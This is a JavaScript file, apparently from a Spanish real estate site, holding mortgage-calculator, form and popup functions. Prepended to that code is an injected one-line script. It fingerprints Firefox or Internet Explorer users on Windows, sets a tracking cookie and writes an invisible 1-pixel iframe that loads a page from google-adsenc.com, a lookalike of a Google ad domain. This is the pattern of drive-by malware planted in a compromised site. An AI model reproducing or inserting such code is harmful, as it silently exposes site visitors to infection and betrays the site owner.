var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
function subref(){
 	if ((document.forms.buscarref.ref.value=='')||(document.forms.buscarref.ref.value=='Referencia')){
		alert("Debe escribir la referencia.");
		document.forms.buscarref.ref.value='';
		document.forms.buscarref.ref.focus();
	}
 	else document.forms.buscarref.submit();
}
function subbus(){
 document.forms.buscar.submit();
}
function cambiarimg(nueva){
	document.getElementById('propiedad-foto-grande').src='thumb.php?image='+nueva+'&x=540';
}
function rounddecimal(numero)
{
  var original=parseFloat(numero);
  var result=Math.round(original*100)/100 ;
  return result;
}
function calculos(){
 	var form=document.forms.hipoteca;
	var bien=1;
	
	var numeros = "0123456789.";
	  for (var i = 0; i < form.interes.value.length ;i++)
	  { if (numeros.indexOf(form.interes.value.charAt(i)) == -1){
		  var bien=0;
		  }
	  }
	if (bien==0) {alert ("Debe escribir valores numéricos, recuerde separar los decimales con un punto '.'");
	}	
	else {
	if (form.estado.value < 2)
	{
		interes = form.interes.value/(100);
		parcial = (form.importe.value * interes) / 12;
	
		plazo = form.plazo.value;
		tae = Math.pow((1+interes/12),12*plazo);

		tae = 1- (1 / tae);

		form.cuota.value = rounddecimal(parcial/tae);
		form.estado.value = 1;
	}
	else
	{
		interes = form.interes.value/(100);
		importe = rounddecimal((form.importe.value*100)/101.66);
		parcial = (importe * interes) / 12;

		plazo = form.plazo.value;
		tae = Math.pow((1+interes/12),12*plazo);

		tae = 1- (1 / tae);

		form.cuota.value = rounddecimal(parcial/tae);
		form.importe.value = rounddecimal(importe);
		form.estado.value = 1;
	}
}}

function calcular_hipoteca(){
	document.getElementById('boton_calcular_hipoteca').style.display='none';
	document.getElementById('calcularhipoteca').style.display='block';
}

function ventana(tipo,par){
 	if(tipo=='mas_info'){
		window.open('pop_mas_info.php?vivid='+par,'MasInforamcion','toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=no,width=470,height=360')
	}
	if(tipo=='comprar_vivienda'){
		window.open('pop_comprar_vivienda.php','ComprarV','toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=no,width=470,height=410')
	}
	if (tipo=='imprimir'){
		window.open('pop_imprimir.php?'+par,'Imprimir','toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=yes,resizable=no,copyhistory=no,width=650,height=600')
	}
	if(tipo=='recomendar'){
		window.open('pop_recomendar.php?vivid='+par,'Recomendar','toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=no,width=470,height=650')
	}
}